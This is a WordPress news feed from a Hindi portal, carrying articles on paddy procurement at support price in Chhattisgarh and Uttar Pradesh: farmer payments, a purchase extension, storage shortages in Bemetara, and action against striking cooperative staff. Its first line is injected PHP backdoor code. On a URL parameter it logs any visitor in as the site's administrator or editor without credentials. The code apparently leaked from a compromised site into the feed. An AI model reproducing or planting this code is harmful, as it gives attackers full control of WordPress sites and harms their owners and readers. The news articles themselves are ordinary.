// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); paddy procurement – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 12 Feb 2026 10:17:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 किसानों को 1508 करोड़ रुपए किए भुगतान, समर्थन मूल्य पर हुई धान खरीदी https://pratyushaashakinayikiran.com/?p=197287 Thu, 12 Feb 2026 10:17:00 +0000 https://pratyushaashakinayikiran.com/?p=197287 बिलासपुर.

सहकारी समितियों में समर्थन मूल्य पर अपना धान बेचने वाले किसानों को सरकार द्वारा अब तक 1 हजार 508 करोड़ रूपए का भुगतान किया जा चुका है। हालांकि इतना भुगतान करने के बाद अभी भी हजारों की संख्या में किसान शेष हैं, जो भुगतान का इंतजार कर रहे हैं। विपणन विभाग के अनुसार ऐसे सभी किसानों को दो से तीन दिनों के भीतर राशि का भुगतान कर दिया जाएगा।

15 नवंबर से प्रारंभ की गई समर्थन मूल्य पर धान खरीदी का शासन द्वारा समय-समय पर भुगतान जारी किया जाता रहा है। इसके अंतर्गत आज की स्थिति तक किसानों को 1 हजार 508 करोड़ रूपए का भुगतान जारी किया जा चुका है। हालांकि भुगतान की गति काफी धीमी रही है। ऐसे किसान जिन्होंने 15 जनवरी या इसके बाद की स्थिति में अपना धान बेचा था, इन्हें तेरह दिनों बाद भी भुगतान प्राप्त नहीं हो सका था। भुगतान प्राप्त नहीं होने से परेशान किसान किसी गड़बड़ी की आशंका पर लगातार अपनी समितियों में एवं बैंकों में जाकर पतासाजी कर रहे थे। इन किसानों को जनवरी के अंत तक भुगतान प्राप्त हो सका था। इधर सरकार ने भले ही किसानों को 15 सौ करोड़ का भुगतान किया है, लेकिन अभी भी हजारों की संख्या में किसान भुगतान का इंतजार कर ही रहे हैं, जिन्हें दो से तीन दिनों के भीतर भुगतान होने की बात कही जा रही है।

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550 किसानों को फिर मिला धान बेचने का मौका, धान खरीदी तिथि दो दिन और बढ़ाई https://pratyushaashakinayikiran.com/?p=195675 Thu, 05 Feb 2026 11:45:00 +0000 https://pratyushaashakinayikiran.com/?p=195675 बिलासपुर.

सरकार द्वारा धान खरीदी के लिए दो दिन और बढ़ाने का निर्णय लेने के बाद जिले के 550 किसानों को भी इसका लाभ मिल सकेगा। इनमें से ज्यादातर किसान ऐसे थे, जिनका टोकन कटने के बाद भौतिक सत्यापन भी किया जा चुका था, लेकिन धान खरीदी का नंबर ही नहीं लग सका। जिले में बढ़ाई गई दो तिथियों में करीब 20 हजार क्विंटल धान की खरीदी और होने का अनुमान है।

सहकारी समितियों में समर्थन मूल्य पर धान नहीं बेच पाने का मलाल अब जिले के 550 किसानों को नहीं रहेगा। सरकार के द्वारा धान विक्रय के लिए दी जाने वाली दो अतिरिक्त तिथियों 6 एवं 7 फरवरी को वे अपना धान उपार्जन केंद्रों में बेच सकेंगे। धान खरीदी के लिए तय अंतिम तीन दिनों 27, 28 एवं 29 जनवरी के लिए जिले के विभिन्न उपार्जन केंद्रों के 414 किसानों ने न केवल टोकन प्राप्त कर लिया था, बल्कि उनके भौतिक सत्यापन भी किए जा चुके थे, लेकिन इनके द्वारा धान नहीं बेचा जा सका। इसी तरह करीब 136 किसान ऐसे हैं, जिन्होंने व्धान बेचने के लिए टोकन कटवाने का रिक्वेस्ट डाला था। कुल मिलाकर धान बेचने से रह गए जिले के 550 किसानों से ही अब अगली दो तिथियों में धान खरीदा जाना है। इन किसानों से अनुमानित तौर पर 20 हजार क्विंटल धान की खरीदी होने की बात कही जा रही है।

निर्धारित अवधि तक ही चली धान की खरीदी :
धान खरीदी को लेकर दो दिन की बढ़ोतरी की बात भले ही कही जा रही है, लेकिन किसानों के अनुसार समयसीमा में कोई बढ़ोतरी नहीं हुई है। किसानों द्वारा यह बात कही जा रही है कि धान खरीदी प्रारंभ करने के लिए तय की गई तिथि दिनांक 15 नवंबर को शनिवार था, जिससे उस दिन खरीदी नहीं की गई थी। इसी तरह धान खरीदी के लिए तय अंतिम तिथि 31 जनवरी को भी शनिवार का अवकाश था। प्रारंभ और अंत के जिन दो दिनों में अवकाश के कारण खरीदी नहीं हो सकी थी, वही दो दिन अब और किसानों को धान विक्रय के लिए दिए गए हैं, जिसमें तिथि में बढ़ोतरी जैसी कोई बात ही नहीं है।

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धान खरीदी में अनियमितता बर्दाश्त नहीं, दोषियों पर सख़्त कार्रवाई जारी https://pratyushaashakinayikiran.com/?p=193688 Fri, 16 Jan 2026 17:36:00 +0000 https://pratyushaashakinayikiran.com/?p=193688 मुख्यमंत्री विष्णुदेव साय के नेतृत्व में पारदर्शी धान खरीदी व्यवस्था के प्रति सरकार प्रतिबद्ध

रायपुर

मुख्यमंत्री विष्णुदेव साय के नेतृत्व में छत्तीसगढ़ सरकार धान खरीदी व्यवस्था में पारदर्शिता, जवाबदेही और अनुशासन सुनिश्चित करने के लिए पूर्णतः प्रतिबद्ध है। सरकार की स्पष्ट नीति है कि धान खरीदी और भंडारण से जुड़े किसी भी स्तर पर अनियमितता, लापरवाही या गड़बड़ी को किसी भी सूरत में बर्दाश्त नहीं किया जाएगा।

खरीफ विपणन वर्ष 2024-25 में जिला बेमेतरा के धान संग्रहण केन्द्र सरदा-लेंजवारा में कुल 12,72,389.56 क्विंटल धान का भंडारण किया गया था। कलेक्टर बेमेतरा के निर्देशानुसार इस संग्रहण केन्द्र में भंडारित धान का भौतिक सत्यापन एवं गुणवत्ता परीक्षण के लिए राजस्व, खाद्य, मार्कफेड, नागरिक आपूर्ति निगम, सहकारिता, कृषि उपज मंडी, जिला सहकारी केंद्रीय बैंक दुर्ग सहित संबंधित विभागों का संयुक्त जांच दल गठित किया गया।

संयुक्त जांच दल द्वारा 31 दिसंबर 2025 को संग्रहण केन्द्र सरदा-लेंजवारा का भौतिक सत्यापन किया गया। जांच के दौरान पाया गया कि भंडारित धान के स्टैक पूर्ण स्थिति में नहीं थे, धान के बोरे अव्यवस्थित रूप से बिखरे हुए थे तथा ऑनलाईन उपलब्ध स्टॉक की जानकारी और मौके पर उपलब्ध धान में गंभीर अंतर पाया गया।जांच में धान मोटा 4,209.19 क्विंटल एवं धान सरना 49,430.03 क्विंटल, कुल 53,639.22 क्विंटल धान की कमी पाई गई। इस संबंध में संयुक्त जांच दल द्वारा तैयार प्रतिवेदन शासन को आवश्यक कार्यवाही हेतु प्रेषित किया गया है।

जांच प्रतिवेदन के आधार पर जिला विपणन अधिकारी बेमेतरा द्वारा संग्रहण केन्द्र सरदा-लेंजवारा के प्रभारी नितीश पाठक, क्षेत्र सहायक को दिनांक 14 जनवरी 2026 से समस्त प्रभारों से मुक्त करते हुए उनके विरुद्ध निलंबन एवं विभागीय जांच संस्थित करने के आदेश जारी किए गए हैं।

प्रशासनिक व्यवस्था की निरंतरता बनाए रखने के उद्देश्य से हेमंत कुमार देवांगन, क्षेत्र सहायक को आगामी आदेश पर्यन्त धान संग्रहण केन्द्र लेंजवारा (सरदा) एवं भंडारण केन्द्र बेमेतरा का प्रभारी नियुक्त किया गया है। यह आदेश तत्काल प्रभाव से लागू किया गया है।

भौतिक सत्यापन के दौरान संग्रहण केन्द्र सरदा एवं लेंजवारा में कुल 11,648.62 क्विंटल धान भौतिक रूप से उपलब्ध पाया गया, जिसमें से 3,000 क्विंटल धान का उठाव किया जा चुका है। शेष उपलब्ध धान के उठाव की प्रक्रिया नियमानुसार सतत जारी है।

जांच के दौरान यह भी पाया गया कि संग्रहण केन्द्रों में प्लास्टिक बोरों में धान का भंडारण किया गया था, जो निर्धारित मानकों के विपरीत है। इन सभी तथ्यों को विभागीय जांच के दायरे में शामिल किया गया है।

मुख्यमंत्री विष्णुदेव साय के नेतृत्व में राज्य सरकार का स्पष्ट संदेश है कि “धान का हर दाना खरीदा जाएगा, किसानों को उनका पूरा भुगतान समय पर मिलेगा, लेकिन किसी भी स्तर पर अनियमितता करने वालों पर कठोरतम कार्रवाई की जाएगी।” धान खरीदी व्यवस्था को पारदर्शी, जवाबदेह और किसान हितैषी बनाए रखने के लिए सरकार पूरी सख़्ती और संवेदनशीलता के साथ कार्य कर रही है।

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रायपुर : 3100 रुपये प्रति क्विंटल के समर्थन मूल्य पर धान खरीदी ने लौटाई किसानों की मुस्कान https://pratyushaashakinayikiran.com/?p=192168 Tue, 18 Nov 2025 11:08:00 +0000 https://pratyushaashakinayikiran.com/?p=192168 रायपुर : 3100 रुपये प्रति क्विंटल के समर्थन मूल्य पर धान खरीदी ने लौटाई किसानों की मुस्कान

‘टोकन तुहर हाथ’ ऐप किसानों के लिए बनी वरदान

रायपुर

विष्णुदेव साय सरकार की समर्थन मूल्य पर धान खरीदी ने छत्तीसगढ़ के किसानों के खेत-खलिहानों में नई उम्मीदों की फसल बो दी है। 3100 रुपये प्रति क्विंटल की दर से शुरू हुई धान खरीदी ने किसानों के चेहरों पर संतोष और विश्वास की मुस्कान लौटा दी है।
    गौरेला विकासखंड के आंदु ग्राम के किसान मनमोहन सिंह राठौर ने बताया कि इस साल उन्हें अपनी मेहनत का सच्चा मूल्य मिला है। ‘टोकन तुहर हाथ’ मोबाइल ऐप से उन्होंने घर बैठे ही खरीदी का टोकन प्राप्त किया। अब सोसायटियों में लंबी कतारों में खड़ा रहना नहीं पड़ता। मनमोहन सिंह कहते हैं, “इस सुविधा ने हमारा समय और मेहनत दोनों बचाया है। सरकार ने सचमुच किसानों की तकलीफ को समझा है।”
    उन्होंने बताया कि पिछले वर्ष उन्होंने 206 क्विंटल धान बेचा था और इस बार 10 एकड़ खेत में उगाई फसल से पहली खेप में 100 क्विंटल धान गौरेला केंद्र में जमा किया है। इस आमदनी से वे रबी सीजन में गेहूं, सरसों, मूंग और उड़द जैसे दलहन-तिलहन फसलें बोने की तैयारी कर रहे हैं।
    गौरेला-पेंड्रा-मारवाही जिले में खरीदी का सिलसिला तेजी से जारी है। 17 नवंबर को दूसरे दिन जिले के 14 केंद्रों में कुल 2252 क्विंटल धान की खरीदी हुई, धनौली केंद्र में सबसे अधिक 510.40 क्विंटल धान खरीदा गया। यह आँकड़ा बताता है कि सरकार की पारदर्शी व्यवस्था और विश्वसनीय भुगतान ने किसानों का भरोसा मजबूत किया है।
    गांवों में अब हर ओर खुशी की लहर है, किसानों को सरकार पर विश्वास है, और खेतों में फिर मेहनत का जोश है। समर्थन मूल्य पर समय पर खरीदी और भुगतान व्यवस्था ने न केवल किसानों की आय बढ़ाई है, बल्कि ग्रामीण अर्थव्यवस्था में भी रौनक ला दी है। सरकार की पारदर्शी नीति और कृषि सुधारों ने किसानों के लिए नयी संभावनाओं के द्वार खोले हैं।

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धान खरीदी में लापरवाही: 250 राशन दुकानों का आवंटन निरस्त, 12 कर्मचारियों पर एफआईआर https://pratyushaashakinayikiran.com/?p=191946 Mon, 17 Nov 2025 12:10:00 +0000 https://pratyushaashakinayikiran.com/?p=191946 रायपुर

कलेक्टर डॉ. गौरव कुमार सिंह ने रायपुर जिले की राशन दुकानों का आवंटन निरस्त करने का बड़ा फैसला लिया है. रविवार को छुट्टी का दिन होने के बावजूद धान खरीदी में सहयोग नहीं करने वाली सहकारी समितियों द्वारा संचालित 250 राशन दुकानों का आवंटन निरस्त किया गया है. अब इन दुकानों के संचालन का जिम्मा ग्राम पंचायतों को सौंप दिया गया है. पंचायतों से कहा गया है कि वे अपने लोगों की मदद से राशन दुकानों का संचालन करें.  

जानकारी के मुताबिक, कलेक्टर डॉ. गौरव कुमार सिंह को लगातार इस बात की शिकायत मिल रही थी कि सहकारी समितियां धान खरीदी करने में बिना वजह व्यवधान पैदा कर रही हैं. किसानों को धान बेचने से भी रोक रहे थे. इतना ही नहीं मंडियों में पहुंचने वाले किसानों को कई तरह की बातें बताकर वापस किया जा रहा था. लगातार इस तरह की शिकायत मिलने के बाद ही कलेक्टर ने आदेश जारी किया कि अब रायपुर जिले में जिन 250 राशन दुकानों का संचालन सहकारी समितियां कर रही थी, उनका संचालन अब ग्राम पंचायत वाले करेंगे.

12 कंप्यूटर ऑपरेटरों पर एफआईआर
राज्य में हड़ताल पर गए सहकारी समितियों के कर्मचारियों पर सरकार ने एस्मा लागू कर दिया है. सभी कर्मचारियों को हड़ताल खत्म कर धान खरीदी के लिए मंडियों में लौटने के निर्देश दिए गए हैं. ड्यूटी में कर्मचारियों को वापस नहीं लौटने पर सरकार ने एक्शन लेना शुरू किया. रायपुर के पुरानी बस्ती, खरोरा, धरसींवा और तिल्दा-नेवरा थानों में दर्जनभर कर्मचारियों पर छत्तीसगढ़ अति आवश्यक सेवा संधारण व विच्छिन्नता निवारण अधिनियम 1979 के तहत केस दर्ज किया गया है.

जानकारी के मुताबिक पुरानी बस्ती थाना क्षेत्र में राजू दास, ओमप्रकाश माहले, विजय गुप्ता, सुवेश, आनंद सहित अन्य पर केस दर्ज किया गया है. धरसींवा में बृज मोहन देवांगन, तिल्दा में रामकुमार वर्मा और पोषण लाल धुरंधर, जबकि खरोरा में कौशल वर्मा के खिलाफ एफआईआर दर्ज हुई है. सभी कर्मचारी मंडियों में कंप्यूटर ऑपरेटर के पद पर कार्यरत हैं.

हड़ताली समिति प्रबंधकों को लगा बड़ा झटका
कलेक्टर के इस फैसले के बाद हड़ताल करने वाले सहकारी समिति प्रबंधकों को बड़ा झटका लगा है. समिति प्रबंधकों ने भी आरोप लगाया है कि हड़ताल तोड़ने के लिए ये फैसला लिया गया है. इस फैसले के बाद भी अभी तक हड़ताल खत्म करने की कोई सूचना जारी नहीं की गई है. ग्रामीण इलाकों में लंबे समय से दुकानों का संचालन सहकारी समितियां ही कर रही थी.

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यूपी में धान खरीद को निरंतर मिल रहा किसानों का साथ https://pratyushaashakinayikiran.com/?p=191862 Mon, 17 Nov 2025 06:39:00 +0000 https://pratyushaashakinayikiran.com/?p=191862 यूपी में धान खरीद को निरंतर मिल रहा किसानों का साथ 

यूपी में प्रतिदिन बढ़ रहे किसानों के पंजीकरण, धान क्रय में भी आ रही तेजी 

शनिवार तक 53330 किसानों से की जा चुकी 3.12 लाख मीट्रिक टन से अधिक की धान खरीद

धान खरीद के लिए पंजीकरण कराने वाले किसानों की संख्या 3.93 लाख पार 

सीएम योगी के निर्देश पर क्रय केंद्रों पर किसानों के लिए की गई है मूलभूत सुविधाएं 

लखनऊ
धान की सरकारी खरीद को किसानों का निरंतर साथ मिल रहा है। धान खरीद की नियमित समीक्षा भी हो रही है। इसके मुताबिक धान खरीद में प्रतिदिन किसानों के पंजीकरण में वृद्धि हो रही है तो दूसरी तरफ धान क्रय में भी तेजी आ रही है। आंकड़े इसकी गवाही भी दे रहे हैं। शनिवार दोपहर तक धान खरीद सत्र में पंजीकृत होने वाले किसानों की संख्या 3.93 लाख पार कर गई। वहीं अब तक 3.12 लाख मीट्रिक टन की भी खरीद हो चुकी है। सरकार ने 4000 धान क्रय केंद्र का लक्ष्य रखा था, जिससे आगे बढ़ते हुए किसानों की सुविधा के लिए 4143 क्रय केंद्र स्थापित किए गए हैं। वहीं धान लेकर पहुंच रहे किसानों के लिए क्रय केंद्रों पर मूलभूत सुविधाएं भी उपलब्ध कराई जा रही हैं।  

53330 किसानों से की जा चुकी 3.12 लाख मीट्रिक टन से अधिक की धान खरीद 
खाद व रसद विभाग के मुताबिक शनिवार दोपहर तक 53,330 किसानों से 3.12 लाख मीट्रिक टन धान की खरीद की जा चुकी है। वहीं धान खरीद विपणन सत्र 2025-26 के लिए 3,93,389 किसानों ने शनिवार तक पंजीकरण भी करा लिया है। सरकार के प्रयासों का नतीजा है कि 4143 धान क्रय केंद्र भी स्थापित हो चुके हैं। 

एक नजर 
– धान (कॉमन) 2369 रुपये प्रति कुंतल की दर से हो रही खरीद 
– धान (ग्रेड-ए) 2389 रुपये प्रति कुंतल की दर से हो रही खरीद
– टोल फ्री नंबर 18001800150 के साथ ही जिला खाद्य विपणन अधिकारी, क्षेत्रीय विपणन अधिकारी, विपणन निरीक्षक से संपर्क कर सकते हैं किसान 
– विभाग की अपील- 17 फीसदी नमी का धान खरीदा जा सकता है। धान को अच्छी तरह सुखाकर, साफ करके क्रय केंद्र पर ले आएं किसान 
– खाद्य विभाग के पोर्टल www.fcs.up.gov.in या UP KISAN MITRA पर पंजीकरण अनिवार्य, पंजीकृत किसानों से ही होगी धान खरीद 
– क्रय केंद्र सुबह 9 से शाम पांच बजे तक खुले हैं।
– पश्चिम उत्तर प्रदेश में 31 जनवरी तक होगी धान खरीद 
– पूर्वी उत्तर प्रदेश में 28 फरवरी 2026 तक होगी खरीद

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गौरेला पेंड्रा मरवाही : धान खरीदी के पहले दिन दो केंद्रों में आठ किसानों ने बेचा 506.80 क्विंटल धान https://pratyushaashakinayikiran.com/?p=191749 Sun, 16 Nov 2025 15:25:00 +0000 https://pratyushaashakinayikiran.com/?p=191749 गौरेला पेंड्रा मरवाही,

खरीफ विपरण वर्ष 2025- 26 में समर्थन मूल्य पर किसानों से धान खरीदी का कार्य 15 नवंबर से पूरे प्रदेश में प्रारंभ हो गया है। धान खरीदी के पहले दिन जीपीएम जिले में दो धान खरीदी केंद्रों में आठ किसानों द्वारा कुल 506.80 क्विंटल धान बेचा गया।

प्राप्त जानकारी के अनुसार धान खरीदी केंद्र निमधा में किसान प्रकाश चंद्र जायसवाल ने 87.20 क्विंटल धान का विक्रय किया। इसी तरह धान उपार्जन केंद्र धनौली में सात किसानों द्वारा 419.60 क्विंटल धान का विक्रय किया गया। राज्य के किसानों से धान की नगद व लिंकिंग में खरीदी 31 जनवरी 2026 तक किया जाएगा।

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कवर्धा : धान उपार्जन 2025-26 : पहले दिन 306.8 क्विंटल खरीदी https://pratyushaashakinayikiran.com/?p=191727 Sun, 16 Nov 2025 14:25:00 +0000 https://pratyushaashakinayikiran.com/?p=191727 सुचारू धान खरीदी के लिए शासन ने लगाया एस्मा, तीन समिति प्रबंधक बर्खास्त

108 समितियों में अधिकारियों को प्रभार

कलेक्टर गोपाल वर्मा के निर्देश पर सभी धान खरीदी केंद्र में बेहतर व्यवस्था सुनिश्चित

कवर्धा,

कबीरधाम ज़िले में खरीफ विपणन वर्ष 2025-26 के लिए धान उपार्जन कार्य का शुभारंभ आज विधिवत पूजा-अर्चना के साथ किया गया। उपार्जन के पहले दिन जिले में 306.8 क्विंटल धान की खरीदी संपन्न हुई। जिले के सभी धान खरीदी केन्द्रों में नाप-तौल की व्यवस्था, कांटा–बांट, पर्याप्त बारदाना, ड्रेनेज सिस्टम सहित आवश्यक सुविधाएँ सुनिश्चित की गई हैं, जिससे किसानों को किसी भी प्रकार की परेशानी न हो। प्राथमिक कृषि साख सहकारी समितियों के कर्मचारियों की हड़ताल के कारण उपार्जन कार्य प्रभावित न हो, यह देखते हुए कलेक्टर श्री गोपाल वर्मा द्वारा विशेष पहल की गई है। उन्होंने वैकल्पिक व्यवस्था के तहत अन्य विभागों के अधिकारियों को समिति प्रबंधक का प्रभार सौंपा, ताकि धान खरीदी की प्रक्रिया सुचारू, पारदर्शी और समयबद्ध रूप से चलती रहे। इस व्यवस्था से किसानों को किसी भी प्रकार की बाधा के बिना अपनी उपज बेचने में सुविधा मिल रही है और जिले में धान उपार्जन कार्य सुचारू रूप से संचालित हो रहा है।

       कलेक्टर श्री गोपाल वर्मा ने बताया कि कबीरधाम जिले की सभी 108 प्राथमिक कृषि साख सहकारी समितियों एवं उपार्जन केन्द्रों में धान खरीदी कार्य के संचालन के लिए विभिन्न विभागों के अधिकारियों को प्रभार सौंपा गया है। इनमें ग्रामीण कृषि विस्तार अधिकारी, पटवारी, उप अभियंता, सहायक कार्यक्रम समन्वयक, करारोपण अधिकारी, बीपीएम, वरिष्ठ कृषि विकास अधिकारी, विकास विस्तार अधिकारी, मत्स्य निरीक्षक सहित अन्य अधिकारी शामिल हैं। उन्होंने कहा कि जिले के किसानों को किसी भी प्रकार की असुविधा न हो, इसके लिए जिला प्रशासन द्वारा सभी आवश्यक तैयारियां की गई हैं। प्रत्येक उपार्जन केन्द्र में अधिकारियों की ड्यूटी लगाई गई है।

तीन समिति प्रबंधक बर्खास्त

प्राथमिक कृषि साख सहकारी समिति मर्यादा ज़िन्दा, सल्फी और सहसपुर लोहारा द्वारा 14 नवंबर 2025 को जारी आदेश में तीन सहकारी समिति प्रबंधक जिंदा श्री घनश्याम चन्द्रवंशी, सहसपुर लोहारा श्री गंगादास मानिकपुरी और चिल्फी श्री मनोज चन्द्राकर को अपने कर्तव्यों के प्रति लापरवाही बरतने पर सेवा तत्काल प्रभाव से समाप्त कर दिया गया है।जारी आदेश के अनुसार संबंधित कर्मचारी को पूर्व में कार्यालयीन पत्र के माध्यम से तत्काल कार्यालय में उपस्थित होने का निर्देश दिया गया था, परंतु निर्धारित तिथि तक वह उपस्थित नहीं हुआ। इसके पश्चात अनुशासनात्मक कार्रवाई के तहत उसे कारण बताओ नोटिस भी जारी किया गया था। कर्मचारी द्वारा न तो कार्यालय में उपस्थित होकर अपना स्पष्टीकरण दिया गया और न ही कारण बताओ नोटिस का जवाब प्रस्तुत किया गया। इससे समिति के धान उपार्जन कार्य, ऋण वितरण, खाद एवं बीज वितरण जैसी महत्वपूर्ण गतिविधियाँ प्रभावित हुईं और किसानों को असुविधाओं का सामना करना पड़ा। इस गंभीर कदाचार को ध्यान में रखते हुए बोर्ड की बैठक में सर्वसम्मति से निर्णय लेते हुए कि सेवा नियमों की कंडिका 16 के तहत लोकहित में व्यापक कार्य में बाधा डालने के कारण सेवा तत्काल प्रभाव से समाप्त किया गया

शासन ने लगाया एस्मा, अनुपस्थिति पर सख्त कार्रवाई तय

छत्तीसगढ़ सरकार ने धान खरीदी कार्य को किसी भी परिस्थिति में बाधित न होने देने के लिए बड़ा और कड़ा कदम उठाया है। धान खरीदी केंद्रों में कार्यरत सहकारी समितियों के कर्मचारियों की हड़ताल को देखते हुए सरकार ने एस्मा लागू कर दिया है। धान उपार्जन जैसे महत्वपूर्ण दायित्व को रोकना या प्रभावित करना किसानों के हितों पर सीधा असर डालता है। इसलिए इस हड़ताल को अवैध मानते हुए सभी कर्मचारियों को तत्काल कार्य पर लौटने के निर्देश जारी किए गए हैं। स्पष्ट किया है कि यदि हड़ताल पर गए कर्मचारी सोमवार तक अपनी ड्यूटी पर वापस नहीं लौटते, तो उनके खिलाफ विधिसम्मत कार्रवाई की जाएगी।

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छत्तीसगढ़ में धान खरीदी पर राजनीतिक टकराव: डिप्टी CM साव का कांग्रेस की निगरानी समिति पर हमला https://pratyushaashakinayikiran.com/?p=191739 Sun, 16 Nov 2025 13:45:00 +0000 https://pratyushaashakinayikiran.com/?p=191739 रायपुर

राज्य में 15 नवंबर से समर्थन मूल्य पर धान खरीदी शुरू हो चुकी है और इसके साथ ही राजनीतिक बयानबाज़ी भी तेज हो गई है। धान खरीदी प्रक्रिया को सुचारू रखने और किसानों की समस्याओं पर तत्काल कार्रवाई सुनिश्चित करने के लिए कांग्रेस ने एक राज्यस्तरीय निगरानी समिति गठित की है। इस फैसले को उपमुख्यमंत्री अरुण साव ने आड़े हाथों लेते हुए कांग्रेस पर किसानों को बोनस न देने, भुगतान में देरी करने और वादे पूरा न करने का आरोप लगाया। साथ ही उन्होंने बिहार चुनाव में कांग्रेस की हार का ज़िक्र करते हुए पूर्व मुख्यमंत्री भूपेश बघेल को ‘पनौती’ तक कह दिया।

उपमुख्यमंत्री अरुण साव ने कांग्रेस की निगरानी समिति बनाए जाने को लेकर कहा कि “कांग्रेस क्या निगरानी करेगी? वही कांग्रेस जिसने किसानों से बोनस का वादा किया था और कभी पूरा नहीं किया। किसानों को धान का पैसा चार-चार किस्तों में दिया गया। इनके वादों की विश्वसनीयता ही खत्म हो चुकी है।”

साव ने बताया कि धान खरीदी के पहले दिन ही 20 हजार क्विंटल धान खरीदा गया है और सभी खरीद केंद्रों में पर्याप्त व्यवस्थाएं सुनिश्चित की गई हैं।

बिहार चुनाव में कांग्रेस नेताओं की भूमिका पर भी सियासत

अरुण साव यहीं नहीं रुके। उन्होंने बिहार चुनाव में कांग्रेस के प्रदर्शन पर भी तीखा हमला बोला। उन्होंने पूर्व मुख्यमंत्री भूपेश बघेल पर भी कटाक्ष करते हुए उन्हें ‘पनौती’ कहा। साव ने आरोप लगाया कि “जहां-जहां भूपेश बघेल प्रचार करने जाते हैं, वहां कांग्रेस की हार तय हो जाती है। बिहार में भी यही हुआ।”

अरुण साव ने यह भी कहा कि “बिहार में जाकर छत्तीसगढ़ कांग्रेस के नकारा नेताओं ने प्रचार किया था। जिन पर अपने राज्य में भरोसा नहीं, उन पर बिहार वाले कैसे भरोसा करेंगे? कांग्रेस के साथ सहयोगी दल भी डूब जाते हैं।”

उन्होंने हाल ही में बेगूसराय में मछुआरा समुदाय से मुलाकात के दौरान राहुल गांधी के तालाब में कूदने वाले वीडियो का जिक्र करते हुए कहा कि “राहुल गांधी जहां डुबकी लगा दें, वहां से कांग्रेस का डूबना तय है।”

साव ने यह भी दावा किया कि बिहार संगठन की मदद छत्तीसगढ़ BJP के नेताओं ने की, न कि कांग्रेस नेताओं ने जैसा कांग्रेस दावा कर रही है।

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राजस्व मंत्री टंकराम वर्मा ने कांकेर जिला के मालगांव खरीदी केन्द्र में पूजा अर्चना कर धान खरीदी का किया शुभारंभ https://pratyushaashakinayikiran.com/?p=191562 Sat, 15 Nov 2025 15:10:00 +0000 https://pratyushaashakinayikiran.com/?p=191562 रायपुर,

राजस्व मंत्री टंकराम वर्मा ने आज कांकेर जिले के धान खरीदी केंद्र मालगांव पहुंचकर समर्थन मूल्य पर धान खरीदी का विधिवत शुभारंभ किया। उन्होंने धान खरीदी केन्द्र में इलेक्ट्रॉनिक तौल मशीन एवं विक्रय के लिए किसान द्वारा लाए गए धान की पारंपरिक रीति-रिवाज व परंपरानुसार पूजा अर्चना कर धान खरीदी की शुरूआत की। इस अवसर पर कांकेर विधायक आशाराम नेताम, छत्तीसगढ़ राज्य मछुआ कल्याण बोर्ड के अध्यक्ष भरत मटियारा, जिला पंचायत के उपाध्यक्ष श्रीमती तारा ठाकुर, पूर्व विधायक श्रीमती सुमित्रा मारकोले, जिले के कलेक्टर निलेश कुमार महादेव क्षीरसागर, सीईओ हरेश मण्डावी, एसडीएम कांकेर अरूण वर्मा सहित महेश जैन, सतीश लाटिया, बृजेश चौहान भी उपस्थित थे। धान खरीदी केन्द्र मालगांव में कृषक तीजूराम उसेण्डी के धान की तौल कराकर खरीदी कार्य की शुरूआत की गई।

उल्लेखनीय है कि कांकेर जिले में समर्थन मूल्य पर धान खरीदी के लिए 149 उपार्जन केन्द्र बनाए गए हैं तथा धान खरीदी केन्द्रो में समर्थन मूल्य पर धान खरीदी के लिए खरीदी केन्द्र प्रभारी तथा पर्यवेक्षण व निगरानी के लिए नोडल अधिकारी की नियुक्ति की गई है। जिले के सभी खरीदी केंद्रों में कम्प्यूटर ऑपरेटर की नियुक्ति कर ली गई है तथा बारदाना भी उपलब्ध करा दिए गए हैं।

 

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